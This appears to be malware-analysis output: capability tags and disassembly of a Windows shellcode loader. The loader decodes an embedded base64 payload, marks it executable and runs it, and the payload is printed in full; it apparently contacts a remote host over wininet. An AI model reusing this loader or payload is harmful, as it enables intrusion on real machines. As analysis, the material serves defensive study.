Function at 0x1400115c8
Capabilities:
Decode data using base64 via winapi
Terminate process

Disassembly:
jmp 0x14001a340
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rsi
push rdi
sub rsp, 0x810
lea rbp, [rsp + 0x40]
lea rdi, [rsp + 0x40]
mov ecx, 0x164
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x838]
mov rax, qword [0x14002b040]
xor rax, rbp
mov qword [rbp + 0x7c8], rax
lea rcx, [0x1400320f4]
call fcn.140011807
nop
lea rdx, str.1.txt
lea rcx, [rbp + 0x798]
call fcn.14001135c
lea rcx, [rbp + 0x798]
call fcn.140011668
movzx eax, al
test eax, eax
jne 0x14001a3cc
mov dword [rbp + 0x7c4], 1
jmp 0x14001a3d6
mov dword [rbp + 0x7c4], 0
movzx eax, byte [rbp + 0x7c4]
mov byte [rbp + 0x774], al
lea rcx, [rbp + 0x798]
call fcn.140011172
movzx eax, byte [rbp + 0x774]
test eax, eax
je 0x14001a403
xor ecx, ecx
call qword [sym.imp.ucrtbased.dll_exit]
nop
lea rax, [rbp + 0x10]
lea rcx, str._EiD5PDoyAAAAEFRQVBSUVZIMdJlSItSYEiLUhhIi1IgSItyUEgPt0pKTTHJSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdBmgXgYCwJ1couAiAAAAEiFwHRnSAHQUItIGESLQCBJAdDjVkj_yUGLNIhIAdZNMclIMcCsQcHJDUEBwTjgdfFMA0wkCEU50XXYWESLQCRJAdBmQYsMSESLQBxJAdBBiwSISAHQQVhBWF5ZWkFYQVlBWkiD7CBBUv_gWEFZWkiLEulP____XWoASb53aW5pbmV0AEFWSYnmTInxQbpMdyYH_9VIMclIMdJNMcBNMclBUEFQQbo6Vnmn_9Xrc1pIicFBuFAAAABNMclBUUFRagNBUUG6V4mfxv_V61lbSInBSDHSSYnYTTHJUmgAAkCEUlJBuutVLjv_1UiJxkiDw1BqCl9IifFIidpJx8D_____TTHJUlJBui0GGHv_1YXAD4WdAQAASP_PD4SMAQAA69Pp5AEAAOii____L1RaR2gAhvMpiyj5USs937FiEP6h2P2uyAsa9VdfrKyNfSfYaWQnBTddOAO8wJmPZy5AGfCn9I9wPPnxfWavO_dytQ72p3bffBst75igBVc2VyLUFnZW50OiBNb3ppbGxhLzUuMCAoY29tcGF0aWJsZTsgTVNJRSA5LjA7IFdpbmRvd3MgTlQgNi4xOyBUcmlkZW50LzUuMDsgTEVOMikNCgAbXRUdWNmGjn8RVgso3dDLXXKH6hVlTH4Bl2EYTPmoxkMtZlGb8qp2g5PUUivlJwqyivJePtIcZObiIeaxSt9jm6m9MaBM4vln8y3Sb_erSsFwLdZNEIQt3QjkMN5F5qFtitzNiraC51Pjr7xcgh_Ou66DW8IW9VddcDTCLQcTNfTvZAKRht_9yxuVUnD0NadmqNlycVc4YbJ2OF27uaIocVVjFSnL2F_m8WtEhGvQmlAqKpJUYwYITumN7ZocZVshOIMMRmfGBvXmI7VnZjeRTk6IdYOm1SmMAQb7wtaJW_9VIMcm6AABAAEG4ABAAAEG5QAAAAEG6WKRT5f_VSJNTU0iJ50iJ8UiJ2kG4ACAAAEmJUG6EpaJ4v_VSIPEIIXAdLZmiwdIAcOFwHXXWFhYSAUAAAAAUMPon_3__zE5Mi4xNjguMTExLjEzMQAXUGXq
mov rdi, rax
mov rsi, rcx
mov ecx, 0x4a9
rep movsb byte [rdi], byte [rsi]
mov dword [rbp + 0x4d4], 0x4a9
mov eax, dword [rbp + 0x4d4]
mov r9d, 4
mov r8d, 0x3000
mov edx, eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp + 0x4f8], rax
cmp qword [rbp + 0x4f8], 0
jne 0x14001a471
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_to_allocate_memory___u__n
call fcn.14001139d
nop
mov eax, 0xffffffff
jmp 0x14001a517
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
lea rax, [rbp + 0x4d4]
mov qword [rsp + 0x20], rax
mov r9, qword [rbp + 0x4f8]
mov r8d, 1
mov edx, dword [rbp + 0x4d4]
lea rcx, [rbp + 0x10]
call qword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
test eax, eax
jne 0x14001a4cc
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_to_decode_the_payload__u__n
call fcn.14001139d
nop
mov eax, 0xfffffffe
jmp 0x14001a517
mov eax, dword [rbp + 0x4d4]
lea r9, [rbp + 0x514]
mov r8d, 0x20
mov edx, eax
mov rcx, qword [rbp + 0x4f8]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x14001a50e
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_to_change_memory_protection___u__n
call fcn.14001139d
nop
mov eax, 0xfffffffd
jmp 0x14001a517
call qword [rbp + 0x4f8]
nop
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x40]
lea rdx, [0x140024db0]
call fcn.140011690
mov rax, rdi
mov rcx, qword [rbp + 0x7c8]
xor rcx, rbp
call fcn.1400113c5
lea rsp, [rbp + 0x7d0]
pop rdi
pop rsi
pop rbp
ret